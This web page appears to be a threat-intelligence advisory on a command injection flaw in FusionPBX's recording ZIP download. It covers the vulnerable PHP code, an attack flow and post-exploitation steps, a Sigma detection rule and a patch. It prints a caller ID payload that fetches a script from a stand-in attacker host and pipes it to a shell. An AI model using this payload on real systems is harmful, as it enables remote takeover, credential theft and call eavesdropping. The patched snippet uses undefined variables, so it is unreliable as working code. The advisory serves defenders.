Skip to content

CVE-2026-108161: FusionPBX OS Command Injection via Caller ID in Recording ZIP Download Subsystem

Density:
HERMES

HERMES THREAT SCORE & PERIMETER TELECOM GATEWAY EVALUATION

Target: FusionPBX Voice Switching Platform โ€” Call Recording Archive Generation Subsystem
Confidence: 97%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 17 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this vulnerability at 9.8 (CRITICAL) because command injection can be triggered by external caller ID values injected into call metadata or web requests. The Hermes Threat Score confirms this critical severity at 94. FusionPBX telecommunications gateways are exposed directly to the public internet on SIP and HTTPS interfaces. Threat actors can inject command payloads directly via SIP INVITE From/Remote-Party-ID headers, which are stored in recording database tables and subsequently executed when automated archival or user download jobs package recordings into ZIP archives.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-108161: FusionPBX OS Command Injection via Caller ID in Recording ZIP Download SubsystemVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTFusionPBX Voice Switching Platform
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in FusionPBX Voice Switching Platform documented in Hermes dossier.”

Supporting Verified Evidence:

FusionPBX serves as a central PBX, session border controller (SBC) interface, and unified communications gateway for thousands of service providers and enterprise networks worldwide.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-108161Canonical NVD & VulnCheck tracking record
Affected ProductFusionPBXVoice switching and multi-tenant PBX platform
Vulnerable Componentapp/recordings/recording_download.phpBulk recording export and archive packaging routine
Impacted VersionsAll versions through 5.6.5Multi-tenant deployments on Debian / Ubuntu / CentOS
Corrective Release5.6.6Integrated parameterized ZipArchive processing
Vulnerability ClassOS Command Injection (CWE-78, CWE-88)Unescaped shell argument injection
Underlying EngineFreeSWITCH Core / PHP FPM / NginxLinux telecommunications host environment

Vulnerable Code Path: Shell Concatenation in Archive Creation

Section titled โ€œVulnerable Code Path: Shell Concatenation in Archive Creationโ€

In FusionPBX releases through 5.6.5, the batch recording download endpoint builds a command string by directly concatenating recording filenames containing caller identification attributes:

app/recordings/recording_download.php
if (isset($_REQUEST['action']) && $_REQUEST['action'] === 'download_zip') {
$recording_ids = $_REQUEST['id'];
$zip_file_name = "/tmp/recordings_" . date("Ymd_His") . ".zip";
$file_list = "";
foreach ($recording_ids as $id) {
$sql = "SELECT recording_filename, caller_id_name, caller_id_number FROM v_recordings WHERE recording_uuid = :id";
$stmt = $db->prepare($sql);
$stmt->execute(['id' => $id]);
$row = $stmt->fetch();
// Caller ID name and number appended directly into file argument string
$file_path = "/var/lib/freeswitch/recordings/" . $row['caller_id_name'] . "_" . $row['recording_filename'];
$file_list .= " " . $file_path; // Tainted variable unescaped!
}
// Direct shell execution without escapeshellarg()
$cmd = "zip -j " . $zip_file_name . $file_list;
exec($cmd, $output, $return_var);
header("Content-Type: application/zip");
header("Content-Disposition: attachment; filename=recordings.zip");
readfile($zip_file_name);
unlink($zip_file_name);
}
Inbound SIP Trunk FusionPBX FreeSWITCH DB Web Admin Archive Export
+---------------------+ +---------------------+ +---------------------+
| SIP INVITE | | v_recordings Table | | recording_download |
| From: "test$(id) | ------------> | caller_id_name: | ----------> | exec("zip ... |
| <sip:101@domain>" | | "test$(id)" | | test$(id) ...") |
+---------------------+ +---------------------+ +---------------------+
|
v
+---------------------+
| RCE: www-data / |
| freeswitch Shell |
+---------------------+

An attacker initiates a call to any extension on the PBX with a crafted caller ID name such as:

test`curl${IFS}attacker.com/rev.sh|sh`

When an administrator reviews calls and clicks โ€œDownload Selected as ZIPโ€, the command string is executed by the Linux shell, spawning a reverse shell back to the attacker.


  1. Unauthenticated Tainted Metadata Injection: An external threat actor dials an exposed DID or IVR line on the FusionPBX gateway using automated SIP dialing scripts, populating caller ID fields with shell metacharacters.
  2. Persistent Staged Execution in Call Archival: The tainted metadata is recorded in the PostgreSQL/SQLite v_recordings database. The exploit lies dormant until an administrative user or automated cron job triggers the ZIP archive generation.
  3. Lateral Movement & Telephony Eavesdropping: Upon obtaining a shell under www-data or freeswitch, the attacker accesses /etc/freeswitch/ configuration files, database credentials in /etc/fusionpbx/config.conf, and private SIP TLS keys, enabling live audio eavesdropping and toll-fraud dialing.

title: FusionPBX Recording Download OS Command Injection
id: fa872b14-0e39-4d22-b91c-92147f81829e
status: experimental
description: Detects command execution spawned by web server processes executing zip commands with shell metacharacters originating from FusionPBX.
references:
- https://vulncheck.com/advisories/fusionpbx-through-5.6.5-os-command-injection-via-caller-id-in-recording-zip-download
author: Hermes Codex CTI Team
date: 2026/10/11
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/php-fpm'
- '/nginx'
- '/apache2'
selection_cmd:
Image|endswith:
- '/sh'
- '/bash'
- '/zip'
CommandLine|contains:
- 'zip -j /tmp/recordings_'
- '$(curl'
- '$(wget'
- '`curl'
- '`wget'
condition: selection_parent and selection_cmd
fields:
- CommandLine
- ParentCommandLine
- User
falsepositives:
- Legitimate administrative recording batch downloads with anomalous filenames
level: critical
tags:
- attack.execution
- attack.t1059.004

Upgrade FusionPBX to release 5.6.6 immediately:

Terminal window
cd /usr/src/fusionpbx
git checkout 5.6.6
./install.sh --update

The patch replaces exec("zip ...") with the native PHP ZipArchive object, completely removing the shell execution vector:

// PATCHED LOGIC: app/recordings/recording_download.php in 5.6.6
$zip = new ZipArchive();
if ($zip->open($zip_file_name, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
foreach ($recording_ids as $id) {
$safe_filename = basename($row['recording_filename']);
$zip->addFile($safe_real_path, $safe_filename);
}
$zip->close();
}